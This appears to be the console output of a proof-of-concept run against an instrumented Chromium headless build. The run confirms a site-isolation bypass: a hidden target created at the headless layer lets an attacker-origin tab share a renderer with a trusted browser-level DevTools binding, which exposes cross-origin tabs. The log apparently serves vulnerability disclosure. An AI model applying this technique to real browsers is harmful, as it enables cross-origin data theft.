[*] launching: /chromium/chromium/src/out/asan/headless_shell --remote-debugging-pipe --user-data-dir=/tmp/headless-poc-profile --no-first-run --no-sandbox --disable-gpu --disable-dev-shm-usage --host-resolver-rules=MAP *.test 127.0.0.1 --renderer-process-limit=2 --site-per-process [*] Target.createTarget({hidden:true}) -- should be intercepted by headless embedder layer, NOT content::HiddenTargetManager chrome: [0527/225804.011181:ERROR:headless/lib/browser/protocol/target_handler.cc:124] [POC] headless::TargetHandler::CreateTarget(hidden=true) handled at EMBEDDER layer; targetId=5BBCA7654DD4C9BA0B67A97D43C94534 RPH-ID=4 IsUnused()=true -- content::HiddenTargetManager::SetIsUsed() will NOT run. [+] mapper targetId = 5BBCA7654DD4C9BA0B67A97D43C94534 [+] exposeDevToolsProtocol -> trusted BrowserToPageConnector wired [*] renderer PIDs after mapper only: [4369, 4371] [*] creating normal tab -> http://victim.test:8080/ [*] renderer PIDs after mapper+victim: [4369, 4371] [*] creating attacker tab -> http://attacker.test:8080/ (process limit reached) [*] renderer PIDs after mapper+victim+attacker: [4369, 4371] [+] EVIDENCE A: 3 targets across <=2 renderer processes (attacker reused an existing process) [*] probing window.cdp in mapper context ... [+] EVIDENCE B: window.cdp -> trusted AccessMode::kBrowser TargetHandler; Target.getTargets exposed ALL cross-origin tabs from inside the renderer: - C48CA87A6AF2985A7B4E2AAABAC5BA43 http://attacker.test:8080/ - 5BBCA7654DD4C9BA0B67A97D43C94534 about:blank - A7D4CDC4BED9286FEA5A22877FC3F1AB http://victim.test:8080/ [*] attacker tab location.href = http://attacker.test:8080/ [*] issuing Page.crash on the ATTACKER tab ... chrome: [0527/225812.127923:FATAL:third_party/blink/renderer/core/inspector/devtools_session.cc:111] NOTREACHED hit. [*] Target.targetCrashed received for: ['5BBCA7654DD4C9BA0B67A97D43C94534', 'C48CA87A6AF2985A7B4E2AAABAC5BA43'] [+] EVIDENCE C: crashing the attacker renderer ALSO crashed the mapper target [+] => attacker.test and the trusted-cdp mapper share ONE renderer process [+] (victim.test stayed alive in its own locked process, as expected) [*] instrumentation log lines: [0527/225804.011181:ERROR:headless/lib/browser/protocol/target_handler.cc:124] [POC] headless::TargetHandler::CreateTarget(hidden=true) handled at EMBEDDER layer; targetId=5BBCA7654DD4C9BA0B67A97D43C94534 RPH-ID=4 IsUnused()=true -- content::HiddenTargetManager::SetIsUsed() will NOT run. [+] (content::HiddenTargetManager::CreateHiddenTarget log line is ABSENT -> content-layer SetIsUsed() fix never ran) [+] VULNERABILITY CONFIRMED: headless-layer Target.createTarget(hidden) bypassed content::HiddenTargetManager::SetIsUsed(); the mapper renderer was reused for a site-isolated attacker origin and is co-resident with a trusted browser-level CDP binding.